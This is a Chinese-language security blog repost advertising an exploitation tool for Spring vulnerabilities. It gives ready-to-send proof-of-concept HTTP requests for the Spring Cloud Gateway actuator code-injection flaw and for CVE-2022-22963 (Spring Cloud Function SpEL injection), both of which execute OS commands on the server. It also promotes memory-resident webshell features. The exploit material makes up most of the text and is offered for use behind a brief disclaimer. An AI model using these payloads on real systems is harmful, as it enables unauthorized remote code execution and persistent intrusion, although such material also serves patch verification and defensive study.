Spring漏洞综合利用工具——Spring_All_Reachable
2023-11-13 08:31:30 Author: 天驿安全(查看原文) 阅读量:14 收藏
声明：请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。

项目简介

    • Spring Core RCE

    • 支持更多类型内存马

    • 支持内存马密码修改

项目描述

Spring Cloud Gateway命令执行（Spring_All_Reachable）

漏洞描述

Spring Cloud Gateway存在远程代码执行漏洞，该漏洞是发生在Spring Cloud Gateway应用程序的Actuator端点，其在启用、公开和不安全的情 况下容易受到代码注入的攻击。攻击者可利用该漏洞通过恶意创建允许在远程主机上执行任意远程请求。

漏洞影响

VMWare Spring Cloud GateWay 3.1.0
VMWare Spring Cloud GateWay >=3.0.0，<=3.0.6
VMWare Spring Cloud GateWay <3.0.0

漏洞pocPOST /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 328
{  "id": "hacktest",  "filters": [{    "name": "AddResponseHeader",    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}  }],"uri": "http://example.com","order": 0}
POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
GET /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
DELETE /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close
POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

工具使用

Spring Cloud Function SpEL 远程代码执行 (CVE-2022-22963)

漏洞描述

Spring Cloud Function 是Spring cloud中的serverless框架。

Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression”参数作为 Spel 表达式进行处理，造成 Spel 表达式注入漏洞。

攻击者可通过该漏洞执行任意代码。

漏洞影响

org.springframework.cloud:spring-cloud-function-context（影响版本：3.0.0.RELEASE~3.2.2）

漏洞pocPOST /functionRouter HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")Content-Type: text/plainContent-Length: 4
test

工具使用

下载地址

项目地址：https://github.com/savior-only/Spring_All_Reachable


文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNjIxNDQyMQ==&mid=2247495814&idx=1&sn=4a903cee73ef4e13671476b68ea073a0&chksm=c151f77cf6267e6a92732f76bc4e6eb69a1ba6a93be07f06d389a9e2319ef68294b45729bc1c&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh